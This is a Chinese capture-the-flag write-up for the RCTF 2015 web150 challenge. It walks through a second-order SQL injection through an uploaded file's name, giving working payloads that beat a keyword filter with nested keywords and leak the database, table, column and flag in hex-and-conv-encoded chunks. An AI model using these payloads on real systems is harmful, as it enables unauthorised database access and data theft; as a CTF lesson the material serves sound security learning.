2015年rctf web150 (Update set 二次注入)

来源:互联网 发布:河南教师网络培训平台 编辑:程序博客网 时间:2024/06/08 04:52
坦诚说,这次的题目脑洞有的大



http://180.76.178.54:8001/17752375bfee20369364468686989278/memberpage.php

此题略去登陆与注册还有前面上传的坑不说,光说说update set 的二次注入:

文件名有注入漏洞:

首先先了解几个函数的意义:

mid(),hex(),conv()

mid():MID(str,pos,len)
从字符串str返回一个len个字符的子串,从位置pos开始。使用FROM的变种形式是ANSI SQL92语法。
mysql> select SUBSTRING('Quadratically',5,6);
    -> 'ratica'


hex():返回十六进制值N一个字符串的表示,在此N是一个长整型(BIGINT)数字,这等价于CONV(N,10,16)。如果N是NULL,返回NULL。
mysql> select HEX(255);
    -> 'FF'

CONV(N,from_base,to_base)
  在不同的数字基数之间转换数字。将数字 N 从from_base 转换到 to_base,并以字符串形式返回。如果任何一个参数为 NULL,那么返回值也为 NULL。参数 N 被解释为是一个整数,但是也可以被指定为一个整数或一个字符串。最小基为 2,最大基为 36。如果 to_base 是一个负值,N 将被看作为是一个有符号数字。否则,N 被视为是无符号的。CONV 以 64 位精度工作。
mysql> select conv(100,10,2);
  +----------------+
  | conv(100,10,2) |
  +----------------+
  | 1100100 |
  +----------------+


有了这些之后我们开始进攻了:

(1)首先爆数据库名:
a'+conv(hex((selselectect mid((selselectect database()),1,6))),16,10)+'a.jpg

因为这个题目对select from 有过滤,所以用 selselectect frfromom 代替
结果:
131277325825392

这样就在页面页面显示出来了数据库名的部分,只不过这些字符串被转换成了十进制,我们现在在把他们转出来

web_up

这些只是一部分,我们把mid的参数变换一下,把数据库的名字爆完全

a'+conv(hex((selselectect mid((selselectect database()),5,6))),16,10)+'a.jpg

结果:
129125716025700
转换的结果:

upload

我们把数据库的名字拼接完整就可以得到想要的数据库的名字:

web_upload

(2)我们下面来爆表:

a'+conv(hex((selselectect mid((selselectect table_name frfromom information_schema.tables where table_schema=database() limit 1,1),1,6))),16,10)+'a.jpg

结果是
114784820031327
转换后:
hello_

我们再做一下偏移:


a'+conv(hex((selselectect mid((selselectect table_name frfromom information_schema.tables where table_schema=database() limit 1,1),5,6))),16,10)+'a.jpg

结果是:
122455530955111
转换后:
o_flag

我们继续偏移:

a'+conv(hex((selselectect mid((selselectect table_name frfromom information_schema.tables where table_schema=database() limit 1,1),11,6))),16,10)+'a.jpg

结果是:
104906511837285
转换后:
_is_he

我们这样继续,然后爆出关键的表:

hello_flag_is_here

(3)我们爆字段:

a'+conv(hex((sselectelect mid((seselectlect column_name frfromom information_schema.columns where table_name=0x68656C6C6F5F666C61675F69735F68657265 limit 0,1),1,6))),16,10)+'a.jpg

然后出了字段:

i_am_flag

我们爆数据:

a'+conv(hex((sselectelect mid((selselectect i_am_flag frofromm hello_flag_is_here),1,6))),16,10)+'a.jpg

我们这样爆出了数据:

RCTF{!!_@m_Th.e_F!lag}


217的做法是………………
看了一下,发现要累断手,尤其那个验证码拖得要死人了


http://insight-labs.org/?p=1987

0 0
原创粉丝点击